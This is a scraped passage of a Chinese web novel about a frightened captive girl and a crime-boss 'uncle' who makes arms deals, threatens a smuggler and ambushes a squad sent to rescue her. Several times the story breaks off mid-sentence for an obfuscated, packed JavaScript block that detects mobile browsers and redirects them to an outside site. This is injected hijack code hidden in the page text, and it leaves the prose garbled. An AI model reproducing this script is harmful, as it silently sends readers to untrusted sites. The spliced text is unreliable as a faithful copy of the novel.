陈知念没敢睡,一直静静地抱膝坐在客厅壁炉旁,等着他。她还记得陈寅洛说的那句,别把他家弄脏了,所以她甚至不敢坐到沙发上。 见到他回来,她局促地站起来,嘴唇犹豫着开合了几次,却不知道说什么。 陈寅洛目不斜视,人径直走进了客厅,他边走边抬手,三两下扯开了衬衫的扣子,直接把衣服脱了。 衬衫被随手丢在沙发扶手上,他整个人懒散地靠着椅背,笔直的长腿随意搭在茶几上,肩膀宽阔结实,胸腹的肌肉线条清晰有力,腰腹间有一道暗红色的狰狞伤疤,却丝毫不影响那副身躯的美感,健康的小麦色皮肤在光线下泛着一种野性的光泽。 他随意靠坐时那种放肆又懒倦的姿态,像暴雨后舒展的野生豹。 陈知念目光像受惊的飞鸟,猛地弹开,慌乱地跌落在自己的脚背上。 他、他怎么能这样? 白塔城的人总是衣着得体,举止彬彬有礼,连衬衫最上面的扣子都一丝不苟。身体的轮廓被包裹在衣料之下,是一种文明且安全的距离。 那具躯体,带着原始而野蛮的冲击力,撞得她头晕目眩,无所适从。 冷静!陈知念,冷静下来! 她在心里对自己尖叫。 你现在想这些做什么?羞耻?难堪?这些东西能让你活下去吗? 取悦他,才能活下去。 她深吸一口气,强迫自己再次抬起视线,她必须得做点什么,才能维持得以生存的价值。 她看到,陈寅洛信手拉开抽屉,修长的手指翻了翻,将雪茄盒勾了出来。 呼——,陈知念暗暗吐出一口气,强压下几乎要蹦出胸腔的心跳。她努力克制着发软的双腿,走上前,在他腿旁慢慢蹲下身。 她的眼睛紧紧追随着他的动作,在他打开盒盖,抽出一支雪茄的时候,她立刻双手递上了桌上那枚银色的雪茄剪。 即使没抬眼,她也能感觉到陈寅洛的视线落在了自己身上。 那目光似有实质,从她颤抖的指尖,滑到她绷紧的手腕,再沿着她低垂的脖颈一寸寸爬过。 带着审视,玩味,又裹着点漫不经心。 时间仿佛被无限拉长,陈知念几乎能听到自己震耳欲聋的心跳声。 他没有去接雪茄剪,那只夹着雪茄的手反而往前递了递。 陈知念飞快地抬眼,撞进陈寅洛那双隐含玩味的眼眸,又倏地低下头。 只一瞬,她就明白了他的意思。 没有任何犹豫,她从他手里接过雪茄,努力循着记忆里莫妮卡女人的动作,可她做出来,却只有肉眼可见的生涩和僵硬。 她将雪茄尾端小心翼翼地对准剪口,因为手抖,对了好几次才成功。 剪掉尾端后,她努力回想,视线在桌上到处搜寻,可根本找不到打火机或者火柴的影子。 她的心一下又提了起来,呼吸都隐隐重了几分。 就在这时,一只骨节分明的手伸到她眼前,掌心朝上,上面躺着一只精致的银色打火机。火机边缘包着一圈细窄的铂金,侧面有个极小的菱形镶嵌,是深绿色的珐琅,像一只冷漠而高贵的眼睛,正无声地注视着她。 陈知念呼吸停了一瞬,指尖轻轻颤了颤,随即飞快地从他掌心拿过打火机,仿佛那金属表面灼烫惊人。 可能因为实在太过紧张,滚轮被她拨动了好几次,都只有零星的火星溅起。 她背脊僵硬,面色肉眼可见的红了。男人的腿几乎就在她胸前,灼热的气息包裹在周围,将温度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那瓶酒被放置得太靠里了。即便她尽力踮高了脚,伸直了手臂,指尖距离瓶身也仍有一小段令人绝望的距离。 她徒劳地尝试了几次,完全没办法,最近的一次,也只堪堪触摸到瓶身。 就在她无措地僵在原地时,一只手臂轻而易举地越过她的头顶,毫不费力地从她方才拼命也无法触及的位置,取下了那瓶Glenfiddich。 陈寅洛不知何时已经无声地走到了她的身后。 他的胸膛几乎快要贴上她的后背,高大身躯投下的阴影将她完全笼罩。 13. 第 13 章 陈寅洛将酒瓶塞给她。 “连这也够不到?”他的声音从她头顶传来,“真没用。” 陈知念眼眶倏地红了,他话语里的嘲弄清晰可闻。在恐惧和耻辱的双重压力下,眼泪像一颗颗豆子,争先恐后地滚出来。 男人已经走远了,陈知念哽了哽,手背狠狠擦去眼泪,强装无事,转身去找酒杯。 好在这次没经历波折,轻易就找到了酒杯。她从冰箱拿了些冰块倒进杯子里,然后准备开启酒瓶。 在家时爸爸常饮酒,也带她参加过酒会,开酒的流程,她也算是熟悉。 酒瓶颈缠着深棕皮绳活扣,指尖勾着绳头一拉就散。金属防尘帽边缘有拉环,拇指扣住一提,帽身滑下,露出浅褐色软木塞。 她从酒柜取来海马刀,刀刃对准木塞中心扎进去,“啵”一声轻响,带着湿润酒气的软木塞便被拔出。 倒好的酒被恭敬放到茶几上,陈寅洛的目光从手机屏幕上抬起,倒没再指使她,自顾自端起酒杯喝了一口。 气氛沉默得压抑,陈知念呆立在一旁,脚趾都蜷缩着,每一秒都被无限拉长,似在经历酷刑,不知下一秒是风暴还是平静。 陈寅洛沉浸在自己的世界里,偶尔滑动一下手机屏幕,或者啜饮一口酒,完全忽视了身旁还站了个人。 她的目光无处安放,只能盯着地毯上繁复的花纹,直到眼睛发酸。 突然,“嗒”一声轻响。 陈寅洛将空酒杯不轻不重地放回了茶几上。 就是这一个小小的动作,让陈知念的肩膀猛缩了一下。 他注意到了她这个细微的反应。 这时,陈寅洛的手机震了起来,他收回目光,接起电话。 也不知那边说了些什么,陈知念看到他心情似乎变得很好,菱形的唇瓣微微翘起,眼睫低垂,可她轻易便看到那笑意漫到了眼底,把往日里的冷沉冲得淡了。冷锐的模样散了几分,让他整个人都少了些距离感。 “做得不错。”他对着电话那头赞扬道。 挂了电话,他似乎仍沉浸在好消息带来的愉悦中,指尖在膝盖上随意地敲了两下。 然后,他的视线忽然又落到了陈知念身上。 他好像闻到了空气里那萦绕香甜的味道。 这丝味道,在此刻取悦了他。 他朝她招招手,“过来。” 笑意仍挂在唇边,眸光里是慵懒和惬意。 他现在应该心情很不错,应该……不会伤害自己吧。陈知念心想。 她不敢违抗,轻手轻脚挪了过去,垂着眸,在他面前站定。 “坐过来。”她听到他说。 语调轻松,甚至称的上温和,可短短的几个字却让陈知念再次头皮发麻,一股麻意顺着尾椎骨直冲脑门。 她僵在原地,脚下像生了根。她微微抬眸,飞快扫了他一眼。 那双眼眸正好整以暇地看着她,对视的瞬间,陈知念心口猛地一跳。 她没资格拒绝。 她攥紧了微微发抖的手,小心翼翼地挨着沙发边缘坐下。 两人之间虽然还隔着一点距离,但她已经能清晰地感受到从他身上传来的体温和那令人窒息的存在感。 她紧张得都快不会呼吸了,低垂着头,盯着自己放在膝盖上手指。 忽然,一只手伸过来,环住了她。 不,准确地说,是她被整个揽了过去,圈禁在了他的臂弯里。 他的手臂并没有收紧,只是松松地搭在她肩上,甚至带点百无聊赖地,捏了捏她后颈。 不是拥抱,倒像是他心血来潮的消遣。 陈知念全身的血液瞬时冲到头顶,又在瞬间褪得干干净净,无法抑制地细颤攀上脊背,像是有电流一遍遍刷过她战栗的肌肤。 他似乎在她发顶轻嗅了一下,然后微低下头,轻笑道。 “抖什么,放松点。” 那低沉含笑的嗓音,混着温热的呼吸,摩挲过她敏感至极的耳廓。 他的指尖还在她后颈轻轻捏着,薄茧蹭过皮肤,痒意混着惧意,让她本就发紧的喉咙更干了些。 不知道为什么,陈知念心里忽然浮起一个荒谬的念头。 陈寅洛在吸猫。 她就是那只被捏住了后颈,动弹不得,只能任由他搓圆捏扁、随意嗅闻的猫。 陈知念不知这个想法该让自己好受些,还是该感到耻辱。 就在她煎熬如火烤时,陈寅洛似是玩够了,倏地松了手。 令人窒息的压迫感和温热骤然消失,只在后颈皮肤上残留细微的麻意。 他从沙发里站起身来,径直越过魂在天外的陈知念,迈开长腿,踏上了通往二楼的楼梯。 他的脚步声在空旷的客厅里清晰回响,陈知念这才后知后觉又活了一天。 “你睡楼下。”他脚步未停,冷硬的声音从楼梯转角抛下,“别上来。” 陈知念捏紧了指尖,屈辱在心头蔓延,却不得不低头,“明白了。” —— 第二天清晨,陈寅洛下楼的时候瞥见楼梯扶手竟晾着他昨晚随手扔在沙发的衬衫。 衬衫被仔细地熨烫过,纽扣也一一扣好,规整地挂在橡木扶手上。 他下楼的脚步明显地顿了一下,目光在那件衬衫上多停留了两秒。 走到客厅,没瞧见人影。空气中飘着陌生的、属于食物的温热香气,这让习惯了冷清和烟草味的他感到一丝突兀。 他视线搜寻了一圈,最终定格在厨房的开放式岛台后。 她在那里。扎了个低马尾辫,几缕碎发垂在颈边,身上系着一条过于宽大的深色围裙,纤细的身躯几乎被全部裹进。此刻,她正微微蹙着眉,全神贯注地盯着平底锅里滋滋作响的食物,手里的锅铲翻炒的动作有些生涩,倒也有模有样。 她完全没察觉到他的到来。 陈寅洛就那样倚在厨房的门框上,双臂环抱,沉默地看了她一会儿。 他的目光扫过流理台上的新鲜食材,鸡蛋、培根、甚至还有稀缺的鲜牛奶。 艾雅来过了。他几乎立刻就得出了结论。并且,这显然不是艾雅会主动做的事,那么就只剩一种可能。 陈知念在试图用这种方式来讨好他。 艾雅应该是忘了提醒她,他从来不在家吃饭。 晨光透过巨大的落地窗,在她专注的侧脸投下一层柔光。他看到她把煎好的鸡蛋和培根盛进盘子,然后,她端起盘子,一转身—— 猛地对上了他的眼睛。 她吓得浑身一颤,手里的盘子差点脱手砸在地上。 “小、小叔叔……早、早上好。”她脸唰地白了,舌头像打了结。 陈寅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272537|182378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洛的视线从她惊惶的脸,缓慢地移到她手里那盘卖相普通的早餐上,最后又落回她脸上。 他抬了抬下巴,“做的什么?” “是、是早餐。”她鼓起这辈子最大的勇气,将手里的盘子微微向前递了半分,“您……您要尝尝么?” 一阵短暂的、令人窒息的沉默。 就在陈知念以为他会无视或者嘲讽时,他却极其简短地应了一个字:“嗯。” 陈知念猛地抬头,陈寅洛已经径直走向了餐厅的桌子,拉开椅子坐下,身体向后靠进椅背,一副等待被伺候的模样。 她连忙把盘子端过去,放在他面前,又飞快地回去给他拿来了刀叉,小心翼翼摆好。 然后,她便僵立在桌旁。看着陈寅洛拿起刀叉,切下一小块煎蛋,送入口中。 气氛诡异地安静,只有刀叉偶尔碰到盘子的细微声响。 每一秒对陈知念来说都无比漫长,她垂着头,满心忐忑。 他终于吃完了最后一口,用餐巾擦了擦嘴角。 “一般般。” 说完,他站起身,朝门外走去。 只留下陈知念一个人,对着那个空盘子,心里五味杂陈。 一句“一般般”,没有夸奖,但似乎……也没有否定。 这算成功了吗?她不知道。 —— 吃过早餐后,陈寅洛来到了马场。他骑着一匹高大的弗里斯兰马,正沿场边慢跑。 这是他的晨间习惯,可以释放精力和保持绝对控制力的方式。 他穿着简单的黑色马术服,姿态很放松,身体随着马匹的步伐自然起伏,仿佛天生就该在马背上。 几圈下来,马匹鼻息喷出白雾,速度渐缓。 陈寅洛轻扯缰绳,驭着马踱步到场边等候的严彬和阿星身旁。戴着皮质半指手套的手,安抚地拍拍汗湿的马颈,然后才看向两人。 “说。” 严彬立刻汇报:“厂子明天就可以正常运转了,隆固的几个老部下想谈条件,被我们按下去了。” 陈寅洛坐在马背上,目光遥望着马场尽头的地平线,仿佛在听,又仿佛没在听。 “还有,”严彬继续道,“清理仓库的时候,发现了一批不在账上的货,像是隆固私藏的。是RPG-7。” 听到这个,陈寅洛的视线才缓缓收回来,落在严彬身上。 “有多少?” “大概二十枚。” 陈寅洛轻轻笑起,“还真是意外收获。” 这时,旁边的阿星有些按捺不住,上前一步插话道:“老大,还有黎安邦那边,他手下那个灰狼,从白塔城弄回来一批新玩意儿,致幻剂的升级版,听说劲儿很大,估计快铺货了。咱们要不要……” “升级版?什么效果?” “比之前的强三倍,嗅一点就会上瘾。听说两天内不补剂量,就会出现精神撕裂反应。” 严彬说到这,语气沉了些,这就是白塔城那群道貌岸然的人做的事,这些药都是从他们那流出来的。 陈寅洛注意力似乎又被马匹不耐烦的踱步吸引了过去。 他轻轻一抖缰绳,让焦躁的马头调转了一个方向,才淡淡开口,“先吃完嘴里的肉,黎安邦,蹦跶不了多久。” 说完,他小腿轻轻一夹马腹,马匹便默契地加速,小跑着离开。 14. 第 14 章 金雀赌场VIP厅。 陈寅洛坐在一张□□牌桌旁,手里夹着烟,姿态松弛。 他面前堆着的筹码不算最多,但他似乎毫不在意。修长的手指把玩着一枚高面值筹码,目光懒散地落在牌面上,仿佛全部心神都沉浸在这场游戏里。 他的对面是诺顿,隆固的老客户,禁区走/私一大掮客。 又一圈下注结束,荷官发出最后一张河牌。桌面上筹码已经堆得颇高。 公共牌是【黑桃A、红心K、梅花8、方块2】。 诺顿指间夹着雪茄,看了看自己手中的底牌,一对K,他脸上露出志在必得的微笑,推出了大量筹码:“陈先生,看来好运今晚站在我这边。” 陈寅洛却没看诺顿,他百无聊赖地把玩着筹码,眉眼冷淡。 沉默持续了十几秒,他才开口,“你的筹码,我看到了。但我们现在谈的这笔交易,筹码变了。” 诺顿的笑容微微一僵:“什么意思?我之前和隆固合作,可一直都是这个价。” “那是之前的价。”陈寅洛打断他,“现在,全部条件,提高一倍。” 诺顿倍觉荒谬,差点直接站起身,但克制住了,只是还是忍不住提高了声音。 “陈!你是在开玩笑吗?就凭你这手牌?” 他指了指牌面,暗示陈寅洛的牌力根本不足以支撑他如此狂妄的加价。 陈寅洛慢条斯理地吸了口烟,“我的牌好不好,不重要。重要的是……你的底牌,我猜得到。而你想要的货,只有我有。” “你……”诺顿脸色骤变,雪茄停在半空,他憋了半天,咬牙道:“陈,不要以为你就只手遮天了,除了你,还会有别人,我不信有钱会买不到货。” 陈寅洛闻言,轻笑了一下,可那笑容没有丝毫温度。 他不急不缓地将烟蒂摁灭,“当然可以,你可以去找别人。比如,白塔城后勤部那位新上任的副科长,他舅舅的连襟好像就管着一个小仓库。” 诺顿的瞳孔猛地一缩,陈寅洛怎么会知道这个,这事他做的极隐蔽。 “我可听说,明天,最迟后天,那个小仓库就会因为线路老化,意外起火,烧得一干二净。” 诺顿脸上的血色瞬间褪得干干净净,拿着雪茄的手指剧烈一颤,陈寅洛明明在笑,可他却觉得遍体生寒。 “或者,”陈寅洛继续慢悠悠地说,“去找黎安邦试试?看看他有没有这个胆子给你货呢?” 陈寅洛没有给他思考的机会,给出了最后通牒,“Call,或者Fold。” 诺顿的汗水从鬓角流出,他死死盯着陈寅洛,又看了一眼自己那手本该赢牌的好牌,感觉无比讽刺。 他发现自己从头到尾都没在玩牌,妈的,他自己才是被玩的那个。 漫长的半分钟后,诺顿像是被抽干了力气,猛地将手中的牌扣回桌上。 “……Call。”他几乎是咬着牙吐出这个词。他选择了屈服。 陈寅洛脸上没有任何胜利的表情。他淡淡地瞥了一眼诺顿扣掉的牌,然后也随意地将自己的牌扔给荷官。 他站起身,“合作愉快,诺顿先生。具体细节,严彬会和你对接。” 说完,他不再看对方一眼,转身离开了牌桌。留下的诺顿,对着那堆象征着耻辱的筹码,面色铁青。 走出赌场后,严彬拉开车门,陈寅洛正要弯腰上车,雷子突然凑近。 “洛哥,这两天我们后边跟了不少尾巴。没打草惊蛇,阿星派人悄悄摸了一下,是白塔城来的,应该是陈家的人。” 陈寅洛上车的动作没有任何停顿,径直坐进了车里,雷子也拉开副驾坐了进去。 车内,陈寅洛靠在后座,像是没听到雷子的汇报,指尖轻轻敲击着膝盖,突然说了句毫不相干的话。 “今晚我还有什么安排?” 驾驶座上的严彬和副驾的雷子都愣了一下。 严彬反应极快,一边缓缓将车驶入车道,一边回答:“洛哥,原本是计划去3号码头看一眼新到的货。需要变更吗?” 透过车窗,能看到后视镜里,一辆不起眼的灰色轿车也同时启动,不远不近地跟了上来。 陈寅洛淡淡回道:“嗯,直接回去。” 说完,他微微侧头,目光扫过后方的尾巴,笑了笑,“让他们跟紧点,别跟丢了。” “好。” 车辆很快便回到了别墅,陈寅洛没下车,艾雅已经带着陈知念出来了。 陈知念穿着一件纯白的及膝长裙,裙摆柔软,勾勒出纤细的腰身。乌黑顺滑的长发安静地垂落在肩头,双手有些不自在地交叠在身前,脸上是显而易见的忐忑。 陈寅洛坐在车内,隔着深色的车窗玻璃,视线缓慢地掠过她纯白的裙子,她乌黑的发,她微微不安的脸庞。 终于,他降下车窗,“上车。” 陈知念下意识就想要后退,上次陈寅洛带她出去散心,结果却是去哪种地方,还亲眼见证了两条人命的消逝。这一次,不知道又会发生什么。 但她根本没有拒绝的权利,她犹豫了一下,拉开车门,弯腰坐了进去。 车内空间宽敞,但她一坐进去,就立刻感受到一股无形的压迫感,来自身旁那个存在感极强的男人。 他身上淡淡的烟草味和冷冽的气息瞬间将她包裹。 她拘谨地坐在靠门的位置,尽量离他远一些。 “怕什么?”他忽然开口,声音里听不出喜怒。 陈知念身体抖了一下,小声回答:“没……没有。” 陈寅洛并不在意她的答案,对着驾驶座的严彬淡淡道:“去Bologna?。” 严彬方向盘一转,车辆再次驶出别墅。 车辆无声地滑行在夜色中,陈知念紧绷着身体,目光拘谨地落在自己交叠的手上,对于Bologna?是个什么地方她一无所知,但直觉告诉她,不会是个好地方。 毕竟,陈寅洛的存在本身,对她而言就是一种不好的预兆。 终于,车辆平稳地停下。 严彬率先下车,替陈寅洛拉开车门。陈寅洛长腿一迈,下了车,却没有立刻离开, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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纠结了两秒,陈知念决定还是实话实说,她是真的吃不下了,这样忐忑不安的折磨,让她毫无胃口。 听到她的话,陈寅洛没什么表示,却也没起身。指尖的香烟又被送入口中,直到一整支烟彻底燃尽,他才熄灭了烟蒂,站起来,“走吧。” 他大步朝外,陈知念也赶紧跟上,可走了几步,她忽然停住了脚步,一个疯狂而大胆的念头的突然涌入了她的脑海。 现在,只有自己和陈寅洛两个人。 严彬和雷子都不在,不知道是在外面等,还是已经被陈寅洛遣走了。而且,她的大脑飞速运转,回忆着刚才的每一个细节,陈寅洛身上应该没带枪! 这个发现像是一剂强心针,瞬间注入了她的四肢百骸。 这是不是意味着,她是可以尝试逃跑的。 这个念头一旦生出,就再也无法遏制。 陈寅洛还在前方不远走着,似乎完全没有察觉到身后的人并没有跟上。 15. 第 15 章 陈知念站在原地,看着陈寅洛英挺的背影越发远去,心脏快要从喉咙里跳出来。 手脚开始发麻,连带着脸颊也开始麻木,血液飞速地在血管里攒动,肾上腺素飙升到几近爆表。 就在她即将调转脚尖的瞬间,视线不经意间从反光的玻璃里瞧见了雷子的身影。他站在阴影里,手放在腰上,蓄势待发。 一瞬间,陈知念浑身血液都窜上头顶,轰一声炸开。 他早有准备。 意识到这一点,那点刚刚鼓起的、可怜的勇气瞬间消散得无影无踪。她飞快地挪动仿佛灌了铅的双脚,朝着陈寅洛的方向小跑追去,还欲盖弥彰地叫了声:“小叔叔。” 好在,她还没有付诸行动。否则她丝毫不怀疑,雷子手中的枪会毫不留情地瞬间击穿她的腿,或者更糟的地方。 陈寅洛没回头,脚步却慢了,陈知念轻易就追上了他。 就在两人走出餐厅,站在门口等严彬开车来时,突然对面的街道涌出一群人,穿着深色作战服,脸上罩着黑色面罩,动作敏捷迅速,呈战术队形快速朝两人快速逼近。 陈知念甚至没看清发生了什么,只听到一声极其轻微的“噗”声,是装了消音器的手枪声。 站在她侧前方的陈寅洛反应快得惊人,几乎是凭本能侧身一避,“砰!”他身后餐厅的玻璃应声而碎。 “蹲下!”陈寅洛的低吼声在她耳边炸开。 下一秒,密集的枪声如同爆豆般骤然响起,撕裂了整片街区的宁静。 对方显然有备而来,火力凶猛且精准,子弹流星般倾泻而来。流弹疯狂击打在墙壁、地面和停靠的车辆上,溅起一串串火星。 陈知念抱着头蜷缩在角落里,吓得魂飞魄散,耳边全是子弹呼啸和玻璃爆裂的恐怖声响。 紧接着,又是一声沉闷“砰”声,冲在最前方的队长模样的人头盔瞬间爆开一团血雾,一声不吭直挺挺栽倒在地。 “是狙击手!有埋伏!!” “噗噗噗噗——!” 死神的低语从四面八方响起,阿杰迅速往侧后方翻滚,同时对麦克风说:“找掩体!” 这次来禁区,阿杰他们小队是有绝对自信的。虽然关于陈寅洛的传闻很多,但他们也是经过无数次血的洗礼,处理过无数棘手的任务,从未失手。 本以为这次也不会例外,可是……就在刚才,队长死了他眼前。 陈寅洛是故意的,故意用陈知念当诱饵,故意露出破绽,等他们自投罗网! 阿杰拼命翻滚,试图躲到一辆车后,子弹追着他的脚步,打得地面火星四溅。 “B组!报告情况!B组!”他对着麦克风大吼。 可回应他的只有电流的嘶嘶声。 就在他不远处,一名年轻的队员大腿中了一枪,动脉似乎被打穿了,鲜血正汩汩地往外冒。他痛苦地蜷缩着,脸色以肉眼可见的速度变得惨白。 “小武!”阿杰心脏一抽,前瞬间闪过那小子平时呲着牙喊他杰哥的笑容。 不能让他死在这! 阿杰咬紧牙关,猛地从车后探出身子,试图朝小武的方向冲过去,想把他拖到相对安全的掩体后面。 就在他身体完全暴露出来的那一刹那,“噗”又是一声轻微却致命的枪响,阿杰只觉得持枪的右臂像是卡车碾过,一股剧痛瞬间席卷了他的全身,他整条胳膊瞬间失去了所有力气,沉重的步枪脱手而出。 他本人也被这股冲击力带得踉跄几步,重重摔倒在地,恰好滚到了小武的身边。 他痛得几乎晕厥,冷汗瞬间浸透了作战服。手肯定是废了。 他艰难地抬起头,视野因为疼痛而有些模糊,他看到站在对面街道的男人,靠在一辆黑色轿车的车门旁。 那是严彬刚刚停在那里的车,车身贴着街沿,刚好挡住了大部分来自阿杰这边的射击角度。 他半边身子藏在车门后,手臂搭在车顶,姿态看起来随意得像在街边抽烟,可阿杰心里清楚,那车门的厚度足够挡住普通步枪的子弹,是个隐蔽又不碍视野的绝佳掩体。 他的目光平静地落在阿杰的身上,那目光里没有胜利者的得意,没有杀戮后的兴奋,甚至透着些无聊。 就像是一个高高在上的造物主,在俯视正徒劳挣扎的猎物。 仿佛在说,看,这就是你们全部的本事了?如此不堪一击。 陈知念死死抱着头,躲在角落里,视线被颤抖的手臂挡得只剩一条缝,可还是能看见子弹打在地面上溅起的火星。 她能闻到空气中弥漫开的火药味,混着不知从越来越浓烈的血腥味,牙齿不受控制地打颤,上下牙碰撞的声音在她自己耳朵里格外响,甚至盖过了部分枪声。 就在这时,又一声“噗”响,离她特别近。陈知念吓得惊声尖叫,以为子弹打到了自己身上,猛地抬头,却看到离她不远的一辆车的车窗被打穿,玻璃碎片像雪花一样落下来。 耳鸣声越来越响,她听不清枪声有没有减弱,只能看到对面的人一个个倒下,地面上的血越来越多,染红了她能看见的每一寸地方。 视线越来越模糊,尽管知道眼泪是徒劳的,可它还是忍不住地往下掉。刚才那颗打穿车窗的子弹离她那么近,下一颗呢?下一颗会不会直接打在她的背上?会不会像打穿玻璃一样,轻易就击穿她的身体? 有颗流弹打在她旁边的墙面上,碎石渣溅到了她的头发里,她吓得猛地一缩脖子。 陈寅洛看起来根本不在乎她的死活,她会死的,一定会死在这里! 这个念头让她浑身发冷,不知哪来的勇气,她抬头想搜寻陈寅洛的身影,正巧撞进他的眼眸,他也在看她。 那里面没有温度,没有情绪,只有一片亘古不变的漠然,甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272539|182378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至她能清晰地读出两个刻薄的字——废物。 枪声,终于停止了。 她看到陈寅洛从口袋里拿出烟,抽出一支衔在嘴里,另一只手摸出火机,橘色的火苗在他指尖跳动,映得他眼尾的线条更显冷硬。 他吸了一口烟,烟雾从唇齿间漫出来,他微微眯起眼,像是在享受这片刻的松弛。 随即,他扬着下巴,视线越过那缕烟雾,垂落在她身上,然后朝她招了招手。 动作很随意,漫不经心地,像在叫一只听话的宠物。 “过来。” 短短两个字,却犹如一道刺骨的电流,瞬间击穿陈知念僵硬的身体。 她本能想后退,可是,她不敢。地上尚未冷却的尸体和身边痛苦的呻吟声,都在无声地告诉她违逆这个男人下场。 她的身体先于她的意志做出了反应,她僵硬着一步一步朝着陈寅洛的方向挪。 离他越来越近,她能更清楚地闻到他身上的烟味。走到他面前三步远的地方,陈知念停下脚步,低下头不敢看他。 雷子和另外两个面容冷硬的男人,像拖麻袋一样,将几个浑身是血的人粗暴地扔在她和陈寅洛面前。 陈知念惊得连连后退几步。 紧接着,陈寅洛泠洌的声音响起:“知道他们是谁吗?” 没有人回答,陈知念呆滞了两秒,才反应过来他是在问自己。她犹豫着抬头看向他,摇了摇头。 陈寅洛扯了扯唇角,“不知道?这些人,可是你父亲特地派来从我身边解救你的。” 什么?陈知念瞳孔骤然紧缩,她下意识低头去看地上血糊糊的人。所以说……地上这些断了胳膊,或是断了腿,血肉模糊、皮开肉绽,正痛苦抽搐的人,都是……因为她,为了救她而变成这样的? 这个认知像一把过分锋利的匕首,狠狠捅进她胸口,没有半分缓冲,紧接着又残酷地搅动起来。 心口传来一阵尖锐的疼,从心脏深处蔓延开来,让她瞬间弯下腰,双手死死按在胸口,连呼吸都变得困难。 “你该庆幸你还没有蠢过头,否则,地上就会多一具尸体。” 所以她刚才计划逃跑的小心思,他也知道的一清二楚。 下一瞬,陈寅洛俯下身,大手攥住她的下颌,强迫她抬起头。 冷漠的视线垂在她脸上,声音听不出喜怒,“告诉我,你要跟他们回去吗?” 陈知念看到雷子手里的枪口已经对准了地上的人,手扣在扳机上,只需要稍稍一用力,子弹就会穿透那些人的身体,让他们彻底停止呼吸。 这些人会因她而死。 她眼睫剧烈颤抖着,眼泪顺着脸颊流都了陈寅洛的手上。她用尽全身力气,轻轻握住了他的手。 “我不回去……” “小叔叔,我不回去,你放他们走吧……求你了,放他们走吧。” 16. 第 16 章 严彬自认就算没有十足的把握摸透陈寅洛的性格,也至少揣摩清了七八分。 洛哥向来不对利益、权力以外的任何事感兴趣,蓬勃的野心占据了他的全部生活。 他从来不缺女人。有钱有势,再加上一张极具冲击力的脸,足以让各色女人如飞蛾扑火般趋之若鹜,妄图摘下来细细品鉴。 可他从来不屑一顾。 以严彬对他的了解,他大概是纯粹觉得浪费时间,没兴趣没想法,连敷衍都懒得浪费精力。 可唯独对于陈知念,严彬第一次感到茫然,理不清其中缘由。 他能非常清晰地感觉到,就在刚才,在陈知念握住洛哥的手时,洛哥身上那股子狠戾霎时间变轻了。仿佛她那纤细脆弱的指尖,有什么奇异的魔力,能抚平洛哥身上那尖锐的噪点。 陈寅洛的指尖似有若无地摩挲着她稚嫩的脸颊,“你凭什么认为,凭你一句话,我就会放过要我命的人?” 陈知念仰起满是泪痕的脸,语无伦次地说:“那、那我呢……我留下,我乖乖留下……换他们一条生路……行不行?” “陈知念,不要忘了,不管你是自愿还是被迫,你都不可能逃掉。所以用这个来交换,没有任何意义。” 陈寅洛的指尖还不愿离开,他忽然发现,指尖传来的触感还挺不错。软软弹弹的,摸上去确实和枪、或者别的武器感觉不一样。 枪握在手里是什么感觉?是无论握多久都只有一片冷硬,每一道纹路、每一处棱角,都带着为杀戮而生的锋利感。 可现在不一样。她每一次颤抖,脸颊的软肉也跟着缩了一下,像只被碰到爪子的小兽,带着点不自知的瑟缩。 像捏着一块刚烤好的棉花糖,软得能陷进指腹里,稍一用力,仿佛就要化在掌心。 “你在怕什么?”他收回思绪,语气依旧没什么起伏,指尖却没离开她的脸颊,反而轻轻按了按,“我又没说不放他们走。” 陈知念的哭声骤然顿住,挂着泪珠的眼睫颤了颤,带着满脸的泪痕,不可思议地抬眼看他。 她听到他那低沉的声音说,“陈知念,你是自愿留下来的,对不对。” 如同魔鬼的低语。 她不知道他为什么突然又问这个,明明刚才还说不管是自愿还是被迫,都没有任何区别。 但她不敢有丝毫的犹豫,声音因为刚哭过而带着浓重的鼻音,却尽可能说得又快又肯定:“是,小叔叔,我是自愿的!” 怕他不信,她又往前凑了凑,仰着脸看着他,眼里还蒙着水雾,却努力睁得大大的,像是要把“自愿”两个字刻进他眼里。 “我自愿留在你身边,我不跟他们回去,真的!” 陈寅洛扯了扯唇角,眼里没什么波澜,指腹却轻轻蹭了蹭她的脸颊,擦掉一点没干的泪痕。 “记住你说的话。” 听到他的话,一旁的严彬和雷子瞬间僵住,脸上同时浮现出难以置信的神情。 他们跟了洛哥这么多年,见过他杀人,见过他谈判,见过他用各种手段让人生不如死,却独独没见过……他大发慈悲。 